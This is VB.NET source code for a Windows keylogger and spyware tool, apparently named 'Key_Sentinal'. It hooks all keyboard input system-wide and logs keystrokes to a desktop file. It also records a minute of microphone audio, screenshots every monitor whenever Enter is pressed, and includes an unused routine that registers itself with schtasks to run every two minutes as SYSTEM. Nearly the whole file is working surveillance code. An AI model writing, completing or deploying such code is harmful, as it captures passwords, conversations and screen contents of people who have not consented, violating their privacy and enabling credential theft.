Imports System.Drawing.Imaging
Imports System.IO
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Security.Principal
Imports NAudio.Wave

Public Class Form1

    Private Const Format As String = "yyyyMMddHHmmss"
    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYDOWN As Integer = &H100
    Private Const WM_KEYUP As Integer = &H101

    Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    Private Shared _hookID As IntPtr = IntPtr.Zero
    Private _proc As LowLevelKeyboardProc = AddressOf HookCallback
    Private _logFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "KeyLog_" & Date.Now.ToString("yyyyMMdd_HHmmss") & ".txt")

    <DllImport("shell32.dll", CharSet:=CharSet.Unicode)>
    Private Shared Function SHGetKnownFolderPath(ByRef rfid As Guid, ByVal dwFlags As UInteger, ByVal hToken As IntPtr, ByRef ppszPath As IntPtr) As Integer
    End Function

    Private waveIn As WaveInEvent
    Private waveFile As WaveFileWriter
    Private outputFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "RecordedAudio.wav")
    Private recordingDuration As TimeSpan = TimeSpan.FromMinutes(1)

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim frm As New Form2
        frm.Show()
        _hookID = SetHook(_proc)

        Try
            InitializeWaveIn()
            StartRecordingLoop()
        Catch ex As Exception
            LogError("Error during Form Load: " & ex.Message)
        End Try

        CreateKeySentinalDirectory()
    End Sub

    Private Sub CreateKeySentinalDirectory()
        Dim directoryPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal")
        If Not Directory.Exists(directoryPath) Then
            Directory.CreateDirectory(directoryPath)
        End If
    End Sub

    Public Sub CreateScheduledTask() 'Uses Task Scheduler to create task (this application) to run every 2 minutes
        Try
            Dim taskName As String = "RecordingSession"
            Dim taskPath As String = Assembly.GetExecutingAssembly().Location
            Dim action As String = $"schtasks /create /tn {taskName} /tr ""{taskPath}"" /sc minute /mo 2 /ru SYSTEM /f"

            If IsUserAdministrator() Then
                ExecuteCommand(action)
            Else
                LogError("You need to run this application as an administrator.")
            End If
        Catch ex As Exception
            LogError("An error occurred while creating scheduled task: " & ex.Message)
        End Try
    End Sub

    Private Sub ExecuteCommand(action As String)
        Using process As New Process()
            process.StartInfo.FileName = "cmd.exe"
            process.StartInfo.Arguments = "/C " & action
            process.StartInfo.UseShellExecute = False
            process.StartInfo.RedirectStandardOutput = True
            process.StartInfo.RedirectStandardError = True
            process.StartInfo.CreateNoWindow = True
            process.Start()

            Dim output As String = process.StandardOutput.ReadToEnd()
            Dim errorOutput As String = process.StandardError.ReadToEnd()
            process.WaitForExit()

            If process.ExitCode = 0 Then
                Console.WriteLine("Task created successfully.")
            Else
                LogError("Error creating task: " & errorOutput)
            End If
        End Using
    End Sub

    Private Function IsUserAdministrator() As Boolean
        Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
        Dim principal As New WindowsPrincipal(identity)
        Return principal.IsInRole(WindowsBuiltInRole.Administrator)
    End Function

    Private Sub InitializeWaveIn()
        waveIn = New WaveInEvent With {
            .WaveFormat = New WaveFormat(44100, 1)
        }
        AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
        AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped
    End Sub

    Private Sub StartRecordingLoop()
        Try
            waveFile = New WaveFileWriter(outputFilePath, waveIn.WaveFormat)
            Debug.WriteLine("Recording for 1 minute...")
            waveIn.StartRecording()
            Threading.Thread.Sleep(recordingDuration)
            waveIn.StopRecording()
            Debug.WriteLine("Recording saved to: " & outputFilePath)
        Catch ex As Exception
            LogError("Error during recording loop: " & ex.Message)
        Finally
            waveFile?.Dispose()
            Application.Exit()
        End Try
    End Sub

    Private Sub OnDataAvailable(sender As Object, e As WaveInEventArgs)
        Try
            If waveFile IsNot Nothing Then
                waveFile.Write(e.Buffer, 0, e.BytesRecorded)
                waveFile.Flush()
            End If
        Catch ex As Exception
            LogError("Error during data available: " & ex.Message)
        End Try
    End Sub

    Private Sub OnRecordingStopped(sender As Object, e As StoppedEventArgs)
        If e.Exception IsNot Nothing Then
            LogError("Recording error: " & e.Exception.Message)
            Application.Exit()
        End If
    End Sub

    Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
            End Using
        End Using
    End Function

    Private Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
        If nCode >= 0 AndAlso (wParam = CType(WM_KEYDOWN, IntPtr) Or wParam = CType(WM_KEYUP, IntPtr)) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            LogKey(vkCode)
        End If
        Return CallNextHookEx(_hookID, nCode, wParam, lParam)
    End Function

    Private Sub LogKey(vkCode As Integer)
        Dim key As String = GetKeyName(vkCode)
        Try
            File.AppendAllText(_logFilePath, Date.Now.ToString("yyyy-MM-dd HH:mm:ss") & " - " & key & Environment.NewLine)
        Catch ex As Exception
            LogError("Error logging key: " & ex.Message)
        End Try
    End Sub

    Private Function GetKeyName(vkCode As Integer) As String
        Select Case vkCode
            Case Keys.A To Keys.Z
                Return Chr(vkCode).ToString()
            Case Keys.Enter
                CaptureScreen()
                Return "Enter"
            Case Else
                Return vkCode.ToString()
        End Select
    End Function

    Private Sub CaptureScreen()
        Try
            Dim totalWidth As Integer = Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width)
            Dim maxHeight As Integer = Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height)

            Using bmp As New Bitmap(totalWidth, maxHeight)
                Using gfx As Graphics = Graphics.FromImage(bmp)
                    gfx.CopyFromScreen(SystemInformation.VirtualScreen.X, SystemInformation.VirtualScreen.Y, 0, 0, SystemInformation.VirtualScreen.Size)
                End Using

                Dim captureSavePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal", $"capture_{Date.Now.ToString(Format)}.png")
                Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
                bmp.Save(captureSavePath)
            End Using

            MessageBox.Show("Screen captured successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information)
        Catch ex As Exception
            LogError("Error capturing screen: " & ex.Message)
        End Try
    End Sub

    Private Sub LogError(message As String)
        Debug.WriteLine(message)
        MessageBox.Show(message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
        UnhookWindowsHookEx(_hookID)
    End Sub

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    End Function

End Class